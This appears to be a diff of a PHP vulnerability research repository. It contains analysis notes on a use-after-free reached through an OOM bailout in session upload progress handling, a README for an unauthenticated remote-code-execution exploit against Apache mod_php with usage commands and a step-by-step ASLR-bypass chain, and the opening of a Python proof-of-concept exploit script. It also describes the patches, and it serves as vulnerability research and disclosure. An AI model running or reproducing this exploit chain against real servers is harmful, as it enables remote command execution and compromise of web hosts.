The session decode calls `var_tmp_var(&var_hash)` (var_unserializer.re
|
||||
line 187) BEFORE `php_var_unserialize()` for each session key-value
|
||||
pair. `var_tmp_var` reads `(*var_hashx)->last_dtor` at struct offset 16.
|
||||
|
||||
Without filler spray: `last_dtor` retains its request 1 value (NULL for
|
||||
simple string values). `var_tmp_var` allocates a new `var_dtor_entries`
|
||||
struct and writes the pointer to offset 16. No crash.
|
||||
|
||||
With filler spray: offset 16 is overwritten by the `zend_string` `len`
|
||||
field (e.g., 8200 = 0x2008). `var_tmp_var` dereferences 0x2008 as a
|
||||
`var_dtor_entries*`, which is an unmapped address. SIGSEGV before
|
||||
`var_access` runs.
|
||||
|
||||
This means there is no exploitation window where controlled data
|
||||
coexists with a readable stale reference. Filler spray corrupts the
|
||||
struct before `var_access` can read the controlled pages.
|
||||
|
||||
## Confirmed primitives
|
||||
|
||||
Tested on PHP 8.3.35 (source build), Apache 2.4.58 (prefork,
|
||||
MaxRequestWorkers=1), Ubuntu 24.04, x86_64:
|
||||
|
||||
| Primitive | Status | Notes |
|
||||
|---|---|---|
|
||||
| OOM during RFC1867 session decode | Confirmed | 33000-entry session, 4MB limit |
|
||||
| Apache prefork worker survival | Confirmed | Same PID after OOM |
|
||||
| Stale BG(unserialize) state | Confirmed | level=1, data=freed ptr (GDB) |
|
||||
| Page reclamation via filler spray | Confirmed | 27+ fields crashes worker |
|
||||
| UAF crash (SIGSEGV in var_push) | Confirmed | Reproducible, first attempt |
|
||||
| Type confusion via var_access | Confirmed | R:1 resolves stale zval, type matches OOM session |
|
||||
| Stale value = attacker's own data | Confirmed | Cached chunk retains pages, no info leak |
|
||||
| Filler/type-confusion mutual exclusion | Confirmed | var_tmp_var crashes at offset 16 before var_access |
|
||||
| Session key injection via `\|` | Blocked | php serializer skips keys with `\|` |
|
||||
| Info leak via type confusion | Not possible | Reads own data, not heap metadata |
|
||||
| Full RCE | Not achieved | ASLR + mutual exclusion + no info leak |
|
||||
|
||||
## Exploitation constraints
|
||||
|
||||
### Why full RCE is not achieved
|
||||
|
||||
Five independent constraints block RCE from this primitive.
|
||||
|
||||
#### 1. GC header overlap (var_push path)
|
||||
|
||||
The struct's three pointer fields at offsets 0-23 overlap with the
|
||||
`zend_string` header, which is set by the allocator:
|
||||
|
||||
- `last` (offset 0) = `gc_refcount` + `gc_type_info`: the allocator sets
|
||||
refcount=1 and type_info=IS_STRING with GC flags. This produces a low,
|
||||
invalid address like `0x0000030600000001`. The attacker cannot control
|
||||
these bytes.
|
||||
|
||||
- `first_dtor` (offset 8) = `hash`: lazily computed, initially 0 (NULL).
|
||||
This is safe: `var_destroy` checks `first_dtor != NULL` before
|
||||
iterating the dtor chain.
|
||||
|
||||
- `last_dtor` (offset 16) = `len`: the string length (e.g., 8200 =
|
||||
`0x2008`). This is also a low, unmapped address.
|
||||
|
||||
The attacker controls bytes from offset 24 onward (`allowed_classes`,
|
||||
`ref_props`, `max_depth`, `entries.used_slots`, `entries.next`,
|
||||
`entries.data[]`), but `var_push` crashes reading `last` (offset 0)
|
||||
before any of these fields are reached.
|
||||
|
||||
#### 2. No info leak (var_access path)
|
||||
|
||||
The type confusion via `var_access` avoids the GC header crash, but
|
||||
`entries.data[0]` points to a Bucket in request 1's session HashTable
|
||||
arData. The ZendMM cached chunk retains data pages across requests
|
||||
(only the chunk header is zeroed during `zend_mm_shutdown` with
|
||||
`memset(p, 0, sizeof(zend_mm_chunk))`). The stale zval at
|
||||
`entries.data[0]` contains the **attacker's own session data**, not
|
||||
leaked heap metadata or code pointers.
|
||||
|
||||
Testing confirms the stale value's type matches the OOM session's first
|
||||
entry (string -> IS_STRING with original content, integer -> IS_LONG
|
||||
with original value, etc.). This is not an info leak.
|
||||
|
||||
To exploit the type confusion for RCE, the attacker would need to:
|
||||
1. Leak a heap pointer to determine the ZendMM chunk base, then
|
||||
2. Spray controlled data to overlapping pages, then
|
||||
3. Use the type confusion to read crafted objects
|
||||
|
||||
Step 1 is impossible through this vulnerability: no path reads heap
|
||||
metadata or code pointers through the type confusion.
|
||||
|
||||
#### 2b. Mutual exclusion of filler spray and type confusion
|
||||
|
||||
The filler spray (needed to place controlled data on stale pages) and
|
||||
the type confusion (needed to read stale data) cannot coexist:
|
||||
|
||||
- `var_tmp_var()` reads `(*var_hashx)->last_dtor` at struct offset 16
|
||||
BEFORE `php_var_unserialize()` calls `var_access` at offset 56.
|
||||
- Without spray: offset 16 = NULL (from request 1), `var_tmp_var`
|
||||
allocates normally, type confusion works but reads own data.
|
||||
- With spray: offset 16 = zend_string `len` (e.g., 0x2008), `var_tmp_var`
|
||||
dereferences 0x2008 as a pointer -> SIGSEGV before var_access runs.
|
||||
|
||||
There is no exploitation window where controlled content on the stale
|
||||
pages is readable via the type confusion.
|
||||
|
||||
#### 3. Built-in classes lack usable exploitation path
|
||||
|
||||
The RFC1867 session decode runs during `sapi_activate()`, before module
|
||||
RINIT and main script execution. Only PHP's built-in/internal classes
|
||||
are registered. An audit of all statically compiled extensions found:
|
||||
|
||||
**Classes with exploitable `free_obj` handlers:**
|
||||
- `SplFileObject/SplFileInfo/DirectoryIterator`: `free_obj` calls
|
||||
`intern->oth_handler->dtor(intern)`, a function pointer call through
|
||||
object data. But `oth_handler` is only set by Phar.
|
||||
- `PDO`: `free_obj` calls `dbh->methods->closer(dbh)`, another function
|
||||
pointer through object data.
|
||||
|
||||
**Why these are unusable:** Constructing a fake `zend_object` that
|
||||
redirects `handlers` to a real handlers table requires knowing
|
||||
`libphp.so`'s base address. The heap chunk address is stable within a
|
||||
process, but code segment addresses are independent. No code address
|
||||
leak was found through this vulnerability.
|
||||
|
||||
#### 4. Session key validation
|
||||
|
||||
The `PHP_SESSION_UPLOAD_PROGRESS` form field value becomes part of the
|
||||
session key (prefixed with `upload_progress_`). A `|` character in this
|
||||
value could inject serialized data into the session file, since the
|
||||
`php` session serializer uses `|` as the key-value delimiter.
|
||||
|
||||
However, `PS_SERIALIZER_ENCODE_FUNC(php)` explicitly checks for `|` in
|
||||
session keys with `memchr()` and skips keys containing it. The injected
|
||||
key is stored in `$_SESSION` but never written to the session file,
|
||||
preventing deserialization injection on subsequent requests.
|
||||
|
||||
### What would be needed for full RCE
|
||||
|
||||
1. **An info leak from a separate vulnerability**: The type confusion
|
||||
reads the attacker's own data. A separate vulnerability providing
|
||||
either a heap pointer or a libphp.so code pointer would enable:
|
||||
- Heap pointer: spray fake objects at known addresses
|
||||
- Code pointer: construct fake `zend_object.handlers` pointing to
|
||||
real handler tables for SplFileObject/PDO/Closure
|
||||
|
||||
2. **Bypass of filler/type-confusion mutual exclusion**: A way to place
|
||||
controlled data on stale pages without corrupting struct offset 16
|
||||
(`last_dtor`). No such technique was found. The struct occupies 3
|
||||
pages (8216 bytes), and large allocations cover full pages including
|
||||
offset 16.
|
||||
|
||||
3. **Loaded classes with POP chains**: If a framework's classes were
|
||||
loaded before session decode, deserialized objects could trigger
|
||||
exploitable magic methods. Standard PHP and WordPress do not load
|
||||
user classes before `sapi_activate()`.
|
||||
|
||||
4. **Alternative allocation type**: An 8216-byte allocation where the
|
||||
attacker controls offset 0 and 16 (blocking the GC header overlap
|
||||
and `last_dtor` corruption). No such type was identified in the
|
||||
multipart parsing code path.
|
||||
|
||||
## The patch (PHP 8.3.36, 8.4.27, 8.5.12)
|
||||
|
||||
Three independent defense layers, any one sufficient:
|
||||
|
||||
### 1. php_basic_early_rinit()
|
||||
|
||||
New function called from `php_request_startup()` AFTER `zend_activate()`
|
||||
but BEFORE `sapi_activate()`:
|
||||
|
||||
```c
|
||||
PHPAPI void php_basic_early_rinit(void) {
|
||||
BG(serialize_lock) = 0;
|
||||
memset(&BG(serialize), 0, sizeof(BG(serialize)));
|
||||
memset(&BG(unserialize), 0, sizeof(BG(unserialize)));
|
||||
}
|
||||
```
|
||||
|
||||
Eliminates the stale state window entirely. Even if OOM occurs, the
|
||||
BG state is zeroed before RFC1867 processing on the next request.
|
||||
|
||||
### 2. Delayed OOM
|
||||
|
||||
`zend_bailout()` on OOM is completely removed. The allocator now either:
|
||||
- Returns NULL (fallible mode) for checked allocations
|
||||
- Succeeds beyond the soft limit (non-fallible mode) and queues a
|
||||
delayed error via `EG(delayed_oom)` + VM interrupt
|
||||
|
||||
No longjmp means all cleanup code runs normally, including
|
||||
`php_var_unserialize_destroy()`.
|
||||
|
||||
A hard limit (`memory_hard_limit_percent`, default 200%) calls
|
||||
`_exit(137)` as a safety net.
|
||||
|
||||
### 3. Session handler hardening
|
||||
|
||||
- `PS(in_rfc1867_update)` flag forces `incomplete_classes_only` mode
|
||||
during RFC1867 session decode (no `__wakeup`/`__unserialize`)
|
||||
- `php_rinit_session_globals()` called at `MULTIPART_EVENT_START`
|
||||
- `$_SESSION` cleanup at `MULTIPART_EVENT_END`
|
||||
- `PG(modules_activated)` check prevents RFC1867 callback during
|
||||
`request_parse_body()`
|
||||
- ~30 `ZEND_HAS_OOM()` checks throughout `rfc1867.c` for graceful
|
||||
handling of allocation failures
|
||||
|
||||
## Why this does not apply to latest PHP
|
||||
|
||||
The latest stable PHP versions (8.3.36+, 8.4.27+, 8.5.12+) include all
|
||||
three defense layers. The patch is comprehensive:
|
||||
|
||||
- Layer 1 alone blocks the attack (no stale state)
|
||||
- Layer 2 alone blocks the attack (no longjmp, cleanup runs)
|
||||
- Layer 3 alone limits exploitability (no object instantiation)
|
||||
|
||||
No bypass path has been identified for any of the three layers.
|
||||
@@ -1,259 +0,0 @@
|
||||
# CVE-2026-109618 / CVE-2026-109619: Full RCE via OOM Bailout + Heap Spray
|
||||
|
||||
Remote code execution in PHP's session upload progress handler, exploitable
|
||||
over plain HTTP against Apache mod_php with **completely stock configuration**.
|
||||
No LFI, no framework dependency, no non-default PHP settings required.
|
||||
|
||||
## Affected versions
|
||||
|
||||
PHP 5.4.0 through 8.3.35, 8.4.0 through 8.4.26, 8.5.0 through 8.5.11,
|
||||
running under Apache mod_php with prefork MPM.
|
||||
|
||||
Patched in PHP 8.3.36, 8.4.27, 8.5.12.
|
||||
|
||||
PHP-FPM is **not vulnerable**: FPM workers exit on bailout (code 70),
|
||||
so stale state never persists across requests.
|
||||
|
||||
## What this exploit achieves
|
||||
|
||||
Full remote code execution (arbitrary command) from a single unauthenticated
|
||||
HTTP client, against any PHP-handled URL, with full ASLR bypass. The target
|
||||
page does not need `session_start()` or any specific code.
|
||||
|
||||
Tested: 5/5 successful RCE against stock `php:8.4.26-apache` Docker image
|
||||
with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`,
|
||||
`display_errors=On`, `MaxRequestWorkers=150`).
|
||||
|
||||
## Prerequisites
|
||||
|
||||
All of these are default on stock PHP Docker images and common Debian/Ubuntu
|
||||
Apache + mod_php installations:
|
||||
|
||||
- Apache mod_php with prefork MPM
|
||||
- `session.upload_progress.enabled = 1` (default: on)
|
||||
- `session.upload_progress.cleanup = 1` (default: on)
|
||||
- Any PHP-handled URL (even a 404 error page)
|
||||
- `display_errors = On` or `STDOUT` (default when no php.ini is deployed)
|
||||
|
||||
The exploit bypasses PHP's `post_max_size` limit via HTTP chunked
|
||||
Transfer-Encoding (see below), so the `post_max_size=8M` default is not
|
||||
an obstacle despite needing to send ~140MB to exhaust `memory_limit=128M`.
|
||||
|
||||
For multi-worker Apache (the default), the `--workers N` spray mode sends
|
||||
the OOM trigger to all workers before probing for the leak.
|
||||
|
||||
## How it works
|
||||
|
||||
### The vulnerability chain
|
||||
|
||||
**CVE-2026-109618**: When `memory_limit` is exceeded during multipart POST
|
||||
parsing, PHP calls `zend_bailout()` which executes a `longjmp` back to
|
||||
the request shutdown handler. This skips session cleanup code in
|
||||
`php_session_rfc1867_update()`, leaving `PS(id)` as a dangling pointer
|
||||
and `PS(send_cookie) = 1`.
|
||||
|
||||
**CVE-2026-109619**: On the next request to the same Apache worker,
|
||||
`sapi_activate()` runs the RFC1867 callback BEFORE session state is
|
||||
properly reinitialized. The callback sees the stale `PS(id)` and
|
||||
`PS(send_cookie) = 1`, and calls `php_session_send_cookie()` with the
|
||||
dangling pointer. The `php_url_encode(PS(id))` call reads heap memory
|
||||
through the stale pointer and emits it as a `Set-Cookie` header.
|
||||
|
||||
### post_max_size bypass via chunked Transfer-Encoding
|
||||
|
||||
PHP checks `Content-Length` against `post_max_size` before invoking the
|
||||
multipart parser. If `Content-Length` exceeds the limit, the body is
|
||||
rejected entirely. However, when the request uses `Transfer-Encoding:
|
||||
chunked` instead of `Content-Length`, no upfront size check occurs.
|
||||
PHP's `sapi_read_post_block()` reads chunked data from Apache's input
|
||||
filter chain without enforcing `post_max_size`, allowing the full body
|
||||
to be processed regardless of the configured limit.
|
||||
|
||||
This means the exploit works against `memory_limit=128M` with
|
||||
`post_max_size=8M` by sending ~140MB of chunked POST data.
|
||||
|
||||
### Three-stage exploit (full ASLR bypass)
|
||||
|
||||
All traffic is plain HTTP multipart POST requests:
|
||||
|
||||
**Stage 1: Heap ASLR bypass (Zend MM chunk base)**
|
||||
|
||||
Request A sends 1001+ fields (triggering `max_input_vars` warning which
|
||||
sets `SG(headers_sent) = 1`) plus `PHPSESSID=\x00` and
|
||||
`PHP_SESSION_UPLOAD_PROGRESS=pwn` (to activate session handling) plus a
|
||||
large field via chunked TE to trigger OOM. The warning output prevents
|
||||
`php_session_send_cookie()` from sending the cookie, but `PS(send_cookie)`
|
||||
remains 1 and `PS(id)` becomes a dangling pointer.
|
||||
|
||||
Request B sends `PHPSESSID` + progress fields plus ~841 filler fields
|
||||
with a forge field containing a fake `zend_string` header (`len = 0x1000`).
|
||||
The filler fields' heap allocations overlap the dangling `PS(id)` address.
|
||||
When `php_session_send_cookie()` runs with the stale pointer, it reads
|
||||
4096 bytes of heap data and emits it as a `Set-Cookie` value. The leaked
|
||||
bytes contain Zend MM free-list pointers, which reveal the chunk base
|
||||
address (2MB aligned).
|
||||
|
||||
**Stage 2: Code ASLR bypass (libphp.so base)**
|
||||
|
||||
Similar to stage 1, but request B's field layout places a real PHP
|
||||
`HashTable` structure at the dangling pointer offset. The `pDestructor`
|
||||
field of the HashTable is a function pointer into libphp.so
|
||||
(`zval_ptr_dtor`). Reading this via `Set-Cookie` leaks the libphp.so
|
||||
load address.
|
||||
|
||||
**Stage 3: RCE (zif_system)**
|
||||
|
||||
Request A poisons the worker with stale session state. Request B sprays
|
||||
the heap with a fake `IS_REFERENCE` zval pointing to a fake `HashTable`
|
||||
whose `pDestructor = zif_system`. When session cleanup calls
|
||||
`zend_hash_destroy()` on this fake table, it invokes `zif_system()` with
|
||||
attacker-controlled arguments, executing an arbitrary shell command as
|
||||
the web server user (`www-data`).
|
||||
|
||||
## Usage
|
||||
|
||||
```bash
|
||||
# Auto-detect PHP version, look up offsets, exploit
|
||||
python3 rce_exploit.py -u http://target/index.php
|
||||
|
||||
# Auto-pull matching Docker image for offset extraction
|
||||
python3 rce_exploit.py -u http://target/index.php --auto-pull
|
||||
|
||||
# Verify RCE via docker exec (for testing)
|
||||
python3 rce_exploit.py -u http://target/index.php \
|
||||
--docker-proof CONTAINER /tmp/pwn
|
||||
|
||||
# Multi-worker Apache spray mode
|
||||
python3 rce_exploit.py -u http://target/ --workers 150
|
||||
|
||||
# Custom command (max 14 bytes, use 'sh</tmp/c' for longer)
|
||||
python3 rce_exploit.py -u http://target/ -c 'id>/tmp/pwn'
|
||||
|
||||
# Extract offsets for a new PHP build
|
||||
python3 rce_exploit.py calibrate --docker-image php:8.3.35-apache \
|
||||
--php-version 8.3.35
|
||||
```
|
||||
|
||||
### Options
|
||||
|
||||
| Flag | Default | Description |
|
||||
|---|---|---|
|
||||
| `-u URL` | (required) | Target URL (any PHP endpoint) |
|
||||
| `-c CMD` | `id>/tmp/pwn` | Shell command (max 14 bytes) |
|
||||
| `--workers N` | 1 | Apache workers to spray |
|
||||
| `--huge-mb N` | 140 | OOM field size in MB |
|
||||
| `--docker-proof C P` | | Verify via `docker exec C cat P` |
|
||||
| `--auto-pull` | off | Pull Docker image for offset extraction |
|
||||
| `--retries N` | 5 | Attempts per stage |
|
||||
| `--profile` | auto | Heap profile (`bookworm` or `lab`) |
|
||||
| `--timeout` | 30.0 | Socket timeout in seconds |
|
||||
|
||||
### Built-in offset database
|
||||
|
||||
| PHP version | Distro | Status |
|
||||
|---|---|---|
|
||||
| 8.4.26 | bookworm | Last vulnerable 8.4.x |
|
||||
| 8.3.35 | bookworm | Last vulnerable 8.3.x |
|
||||
| 8.4.27 | bookworm | Patched (offsets extracted, bypass not implemented) |
|
||||
| 8.3.36 | bookworm | Patched (offsets extracted, bypass not implemented) |
|
||||
|
||||
## The patch
|
||||
|
||||
The fix (PHP 8.3.36, 8.4.27, 8.5.12) adds five independent defense
|
||||
layers. Any one of the first three alone is sufficient to block the attack:
|
||||
|
||||
1. **`php_rinit_session_globals()` at `MULTIPART_EVENT_START`**: The
|
||||
session RFC1867 callback now calls `php_rinit_session_globals()` at
|
||||
the very start of multipart parsing, unconditionally zeroing `PS(id)`,
|
||||
`PS(session_status)`, and `PS(send_cookie)`. This destroys the
|
||||
dangling `PS(id)` from the previous request before B's parsing begins.
|
||||
This single defense is sufficient to kill the entire exploit chain.
|
||||
|
||||
2. **Delayed OOM**: `zend_mm_safe_error` (which called `zend_bailout` /
|
||||
longjmp) is replaced by `zend_mm_delayed_verror`. OOM no longer
|
||||
triggers a longjmp during allocation. Instead, a soft limit records
|
||||
the error and sets `vm_interrupt`. Allocations return NULL in fallible
|
||||
mode or succeed up to a hard limit (default 200% of `memory_limit`).
|
||||
A hard limit calls `_exit(137)`. No longjmp means all cleanup code
|
||||
runs normally, so stale state never persists.
|
||||
|
||||
3. **`post_max_size` enforcement in `multipart_buffer_fill()`**: A new
|
||||
check in `fill_buffer()` enforces `post_max_size` against
|
||||
`SG(read_post_bytes)` regardless of Transfer-Encoding. The chunked TE
|
||||
bypass (which previously allowed sending 140MB despite 8M limit) is
|
||||
blocked. OOM cannot be triggered via multipart data alone.
|
||||
|
||||
4. **`php_basic_early_rinit()`**: Called from `php_request_startup()`
|
||||
before `sapi_activate()`. Zeros `BG(serialize_lock)`, `BG(serialize)`,
|
||||
and `BG(unserialize)`, eliminating the stale serialization state
|
||||
window from CVE-2026-109618.
|
||||
|
||||
5. **Session deserialization hardening**: RFC1867 session decode runs in
|
||||
`incomplete_classes_only` mode (no `__wakeup`/`__unserialize`).
|
||||
`$_SESSION` is deleted at `MULTIPART_EVENT_END`. A `PG(modules_activated)`
|
||||
guard prevents `request_parse_body()` from corrupting session state.
|
||||
|
||||
## Test environment
|
||||
|
||||
The `docker/` directory contains a minimal test setup:
|
||||
|
||||
```bash
|
||||
cd docker && docker compose up -d
|
||||
# Stock settings variant (no custom php.ini):
|
||||
docker run -d --name stock -p 8093:80 php:8.4.26-apache
|
||||
```
|
||||
|
||||
The exploit has been tested on:
|
||||
- `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings)
|
||||
- `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE
|
||||
- `php:8.3.35-apache` stock Docker image, RCE confirmed (first attempt)
|
||||
- `php:8.4.26-apache` + WordPress 6.8.1 (no php.ini), 5/5 RCE (first attempt each)
|
||||
- `php:8.4.27-apache` patched: all three exploit primitives blocked (see below)
|
||||
|
||||
## display_errors and WordPress
|
||||
|
||||
The exploit's info leak (stages 1 and 2) relies on `display_errors = On`.
|
||||
The `max_input_vars` warning must produce visible output to set
|
||||
`SG(headers_sent) = 1` before the session cookie attempt, which causes
|
||||
`php_session_send_cookie()` to fail and leaves `PS(send_cookie) = 1` for
|
||||
the next request's leak.
|
||||
|
||||
With `display_errors = Off`, the warning is logged but produces no output.
|
||||
The session cookie succeeds, `PS(send_cookie)` resets to 0, and no leak
|
||||
cookie is emitted on the subsequent request.
|
||||
|
||||
**Why stock PHP is still vulnerable**: PHP's compile-time default for
|
||||
`display_errors` is `On`. Stock Docker images (`php:*-apache`) ship
|
||||
without a `php.ini`, so the default applies. Only when a system
|
||||
administrator deploys `php.ini-production` (which sets `display_errors = Off`)
|
||||
or adds explicit INI configuration is the target hardened against this leak.
|
||||
|
||||
**WordPress**: WordPress calls `ini_set('display_errors', 0)` at runtime
|
||||
in `wp-settings.php`. This `ini_set` executes during script startup, which
|
||||
is AFTER multipart POST parsing (where the OOM and session leak occur).
|
||||
Therefore, WordPress installed on a stock PHP image (no `php.ini`)
|
||||
is vulnerable, because `display_errors` is still `On` at the time the
|
||||
exploit code path runs. The official `wordpress:*` Docker images ship
|
||||
a custom `error-logging.ini` that sets `display_errors = Off` at the INI
|
||||
level, which does block the leak.
|
||||
|
||||
**Why display_errors=Off cannot be bypassed**: The info leak requires
|
||||
`SG(headers_sent) = 1` before `php_session_send_cookie()` runs during
|
||||
`MULTIPART_EVENT_FILE_START`. The only code path that sets
|
||||
`SG(headers_sent)` during multipart parsing is the error display path
|
||||
(`php_error_cb` -> `zend_write` -> `sapi_module.ub_write`), which is
|
||||
gated on `display_errors`. With `display_errors = Off`, warnings go to
|
||||
the error log only, producing no output. There is no alternative
|
||||
mechanism to force HTTP output during multipart parsing: the SAPI write
|
||||
function is the only path, and it requires display_errors or explicit
|
||||
script output (which has not started yet at this stage of request
|
||||
processing). Precision OOM calibration (attempting to trigger OOM inside
|
||||
the ~500-byte `php_session_send_cookie` window) was tested and fails
|
||||
due to Zend MM bin-size boundaries causing ~1MB allocation jumps that
|
||||
cannot be calibrated to the required precision.
|
||||
|
||||
## References
|
||||
|
||||
- CVE-2026-109618: OOM during multipart parsing triggers longjmp past session cleanup
|
||||
- CVE-2026-109619: Session globals (PS(id), PS(send_cookie)) survive across requests
|
||||
- CVSS: 9.2 (both CVEs, per Rapid7)
|
||||
@@ -1,596 +0,0 @@
|
||||
#!/usr/bin/env python3 -I
|
||||
"""
|
||||
CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
|
||||
Apache mod_php (prefork MPM), no LFI, no framework dependencies
|
||||
|
||||
Targets UNPATCHED PHP: all versions from 5.4.0 through 8.3.35, 8.4.26,
|
||||
8.5.11. The patch (8.3.36, 8.4.27, 8.5.12) blocks the entire attack
|
||||
chain with three independent defense layers:
|
||||
1. php_basic_early_rinit() resets BG(serialize/unserialize) each request
|
||||
2. Delayed OOM replaces zend_bailout() (no more longjmp on OOM)
|
||||
3. Session handler hardening (incomplete_classes_only mode during RFC1867)
|
||||
|
||||
Vulnerability chain:
|
||||
|
||||
CVE-2026-109618: OOM in the multipart parser triggers zend_bailout()
|
||||
(longjmp), which skips php_var_unserialize_destroy(). This leaves
|
||||
BG(unserialize).level=1 and BG(unserialize).data pointing at a freed
|
||||
php_unserialize_data struct (8216 bytes, 3 ZendMM pages).
|
||||
|
||||
CVE-2026-109619: The session upload progress globals populated by
|
||||
the RFC1867 callback survive into the next request. On the next
|
||||
request, sapi_activate() runs the RFC1867 callback BEFORE
|
||||
PHP_RINIT_FUNCTION(basic) zeros BG state. The callback calls
|
||||
php_session_decode() -> php_var_unserialize_init(), which sees
|
||||
BG(unserialize).level > 0 and returns the stale .data pointer.
|
||||
Classic use-after-free.
|
||||
|
||||
Attack phases:
|
||||
|
||||
Phase 1 (Plant): Write a large session file (~682KB, 33000 entries)
|
||||
that will trigger HashTable resize needing ~2.25MB when decoded.
|
||||
|
||||
Phase 2 (OOM): Multipart upload referencing that session ID.
|
||||
RFC1867 progress callback reads and decodes the session file.
|
||||
HashTable resize exceeds memory_limit, OOM fires zend_bailout().
|
||||
Worker survives. BG(unserialize).level=1, .data=freed heap pointer.
|
||||
|
||||
Phase 3 (Crash): Another upload (no intermediate GET requests, which
|
||||
would zero BG state via RINIT). Filler form fields create many
|
||||
3-page zend_string allocations that consume ZendMM pages up to the
|
||||
stale struct's position (~page 288). The struct's 'last' pointer
|
||||
(offset 0) is overwritten by the zend_string GC header (refcount +
|
||||
type_info), which is not a valid heap address. var_push reads
|
||||
'last' and dereferences it -> SIGSEGV. Confirms the UAF.
|
||||
|
||||
Requirements:
|
||||
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
|
||||
- session.upload_progress.enabled=1 (default in php.ini)
|
||||
- memory_limit low enough for session data to trigger OOM
|
||||
- Any reachable PHP URL on the target (even a 404 page works)
|
||||
- A method to write a session file with many entries (Phase 1)
|
||||
- No LFI, no framework, no non-default config changes needed
|
||||
|
||||
Exploitation notes:
|
||||
|
||||
This PoC demonstrates two distinct UAF primitives:
|
||||
|
||||
1. CRASH (var_push path): Filler fields reclaim the stale struct
|
||||
pages. The zend_string GC header at offset 0 overwrites the
|
||||
'last' pointer with refcount|type_info (not a valid address).
|
||||
var_push reads 'last' and dereferences it -> SIGSEGV.
|
||||
|
||||
2. TYPE CONFUSION (var_access path): Session data using R:N
|
||||
backreferences resolves through var_access, which reads the
|
||||
inline 'entries' at struct offset 56 instead of 'last' at
|
||||
offset 0. Without the filler spray, the stale struct's 'last'
|
||||
pointer self-references &entries (valid), and entries.data[0]
|
||||
holds a dangling pointer to a zval from request 1's heap.
|
||||
PHP reads this stale zval without crashing. The value's type
|
||||
matches whatever the first OOM session entry contained:
|
||||
- String value -> stale IS_STRING (original content intact)
|
||||
- Integer value -> stale IS_LONG (original value)
|
||||
- Object value -> CRASH (freed zend_object dereference)
|
||||
|
||||
The two primitives are MUTUALLY EXCLUSIVE: filler spray corrupts
|
||||
struct offset 16 (last_dtor), and var_tmp_var reads last_dtor
|
||||
BEFORE var_access runs. With fillers, var_tmp_var crashes.
|
||||
Without fillers, the type confusion works but reads the attacker's
|
||||
own data from the stale heap (the cached ZendMM chunk retains page
|
||||
data across requests without zeroing). No info leak is possible.
|
||||
|
||||
Full RCE is blocked by:
|
||||
- ASLR: no info leak primitive. The type confusion reads back
|
||||
the attacker's own session data, not heap metadata or code
|
||||
pointers. The cached chunk retains original bytes.
|
||||
- Mutual exclusion: filler spray (needed for controlled content)
|
||||
crashes var_tmp_var before var_access can read the fillers.
|
||||
- GC header overlap at offset 0: prevents pointer control when
|
||||
spraying (var_push reads 'last' before reaching controlled
|
||||
bytes at offset 24+)
|
||||
- No loaded classes during sapi_activate: PHP built-in classes
|
||||
(SplFileObject, PDO) have exploitable handlers but constructing
|
||||
fake objects requires knowing libphp.so base address (ASLR)
|
||||
- Session key validation: PHP's php serializer skips keys
|
||||
containing '|', blocking injection via upload progress name
|
||||
|
||||
Usage:
|
||||
python3 exploit.py --target http://host:port/index.php
|
||||
python3 exploit.py --target http://host:port/index.php --oom-only
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
# ── Constants ────────────────────────────────────────────────────────
|
||||
|
||||
UNSER_STRUCT_SIZE = 8216 # php_unserialize_data: 0x2018 bytes = 3 ZendMM pages
|
||||
OOM_SESSION_ENTRIES = 33000 # forces nTableSize=65536, arData ~2.25MB
|
||||
SPRAY_FIELD_SIZE = 8200 # 3 ZendMM pages as zend_string (24-byte header + body + NUL)
|
||||
SPRAY_FIELD_COUNT = 100 # ~300 pages, covers stale struct at page ~288
|
||||
|
||||
|
||||
# ── Networking ───────────────────────────────────────────────────────
|
||||
|
||||
def connect(host, port, timeout=30):
|
||||
return socket.create_connection((host, port), timeout=timeout)
|
||||
|
||||
|
||||
def recv_response(sock, timeout=10):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
|
||||
def parse_response(resp):
|
||||
status = 0
|
||||
body = b""
|
||||
if resp:
|
||||
try:
|
||||
status = int(resp.split(b" ")[1])
|
||||
except (IndexError, ValueError):
|
||||
pass
|
||||
if b"\r\n\r\n" in resp:
|
||||
body = resp.split(b"\r\n\r\n", 1)[1]
|
||||
return status, body
|
||||
|
||||
|
||||
def http_get(host, port, path, cookies=None, timeout=10):
|
||||
sock = connect(host, port, timeout=timeout)
|
||||
req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
|
||||
if cookies:
|
||||
req += f"Cookie: {cookies}\r\n"
|
||||
req += "Connection: close\r\n\r\n"
|
||||
sock.sendall(req.encode())
|
||||
resp = recv_response(sock, timeout=timeout)
|
||||
sock.close()
|
||||
return parse_response(resp)
|
||||
|
||||
|
||||
def http_post_raw(host, port, headers_bytes, body_bytes, timeout=60):
|
||||
sock = connect(host, port, timeout=timeout)
|
||||
sock.sendall(headers_bytes + body_bytes)
|
||||
resp = recv_response(sock, timeout=timeout)
|
||||
sock.close()
|
||||
return parse_response(resp)
|
||||
|
||||
|
||||
def extract_pid(body):
|
||||
m = re.search(rb"pid=(\d+)", body)
|
||||
return int(m.group(1)) if m else 0
|
||||
|
||||
|
||||
# ── Multipart builders ──────────────────────────────────────────────
|
||||
|
||||
def multipart_field(boundary, name, value):
|
||||
return (
|
||||
b"--" + boundary + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
|
||||
+ value + b"\r\n"
|
||||
)
|
||||
|
||||
|
||||
def multipart_file(boundary, name, filename, content):
|
||||
return (
|
||||
b"--" + boundary + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name
|
||||
+ b'"; filename="' + filename + b'"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||
+ content + b"\r\n"
|
||||
)
|
||||
|
||||
|
||||
def multipart_end(boundary):
|
||||
return b"--" + boundary + b"--\r\n"
|
||||
|
||||
|
||||
def post_multipart(host, port, path, boundary, body, sid=None, timeout=60):
|
||||
hdrs = (
|
||||
